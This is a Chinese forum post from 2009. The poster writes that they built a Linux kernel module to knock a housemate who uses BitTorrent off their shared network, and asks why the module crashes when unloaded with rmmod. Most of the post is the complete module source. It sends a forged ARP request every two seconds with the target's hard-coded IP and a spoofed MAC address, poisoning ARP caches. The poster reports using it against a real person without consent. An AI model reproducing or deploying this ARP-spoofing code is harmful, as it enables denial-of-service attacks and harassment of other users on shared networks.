- 论坛徽章:
- 0
|
hello, 各位, 我房子是合猪的, 有个人经常BT, 导致我dota 吊线分一直减.
今天是在气不过 就想整整它, 想到了最简单的免费arp, google下居然到了这里.
哈哈. 在此谢过. 不过在我的机器上跑有点小问题, 一执行程序终端像死机, cpu又点高, sorry我用的是虚拟机, 所以的我就临时写了粗糙的内核版的发送免费arp, 时间仓促没有, 代码有点丑, 最终的效果是达到了,(但那个SX 过一会去重启下路尤其, 哎....)
ONLY YOU, .... 不啰嗦了.
我在rmmod的时候 偶尔死机, 自己猜测是我rmmod后, timer有可能又开始运行执行我的handle, 在handle里mod_timer导致的,不知道对不对, 大家是怎么解决这个问题的呢? 代码如下:
- #include <linux/module.h>
- #include <linux/kernel.h>
- #include <linux/if_arp.h>
- #include <net/flow.h>
- #include <net/route.h>
- #include <net/arp.h>
- #include <linux/inetdevice.h>
- #define ARP_ALLOW 1
- #define ARP_DENY 2
- #define ARP_INTERVAL 2
- static struct arp_control{
- u16 flags;
- u32 ip;
- struct timer_list timer;
- }arp_cb;
- static void arp_timer(unsigned long data)
- {
- struct rtable *rt;
- struct flowi fl;
- u8 mac[6] = {0x90, 0xeb, 0xba, 0x00, 0x6f, 0xb8};
- if (!arp_cb.ip)
- goto passby;
-
- memset(&fl, 0, sizeof(fl));
- fl.nl_u.ip4_u.daddr = arp_cb.ip;
- if (ip_route_output_key(&rt, &fl)){
- printk("there's no route for this\n");
- goto passby;
- }
-
- arp_send(ARPOP_REQUEST, ETH_P_ARP, arp_cb.ip, rt->idev->dev, arp_cb.ip,
- NULL, mac, mac);
- ip_rt_put(rt);
-
- passby:
- mod_timer(&arp_cb.timer, jiffies + ARP_INTERVAL*HZ);
- }
- static int __init arp2_init(void)
- {
- arp_cb.flags = ARP_DENY;
- arp_cb.ip = 0x8700a8c0;
- init_timer(&arp_cb.timer);
- arp_cb.timer.function = arp_timer;
- arp_cb.timer.data = 0;
- arp_cb.timer.expires = jiffies + HZ*ARP_INTERVAL;
- add_timer(&arp_cb.timer);
- return 0;
- }
- static void __exit arp2_exit(void)
- {
- del_timer_sync(&arp_cb.timer);
- }
- MODULE_LICENSE("GPL");
- module_init(arp2_init);
- module_exit(arp2_exit);
复制代码
[ 本帖最后由 Arthur_ 于 2009-11-7 23:15 编辑 ] |
|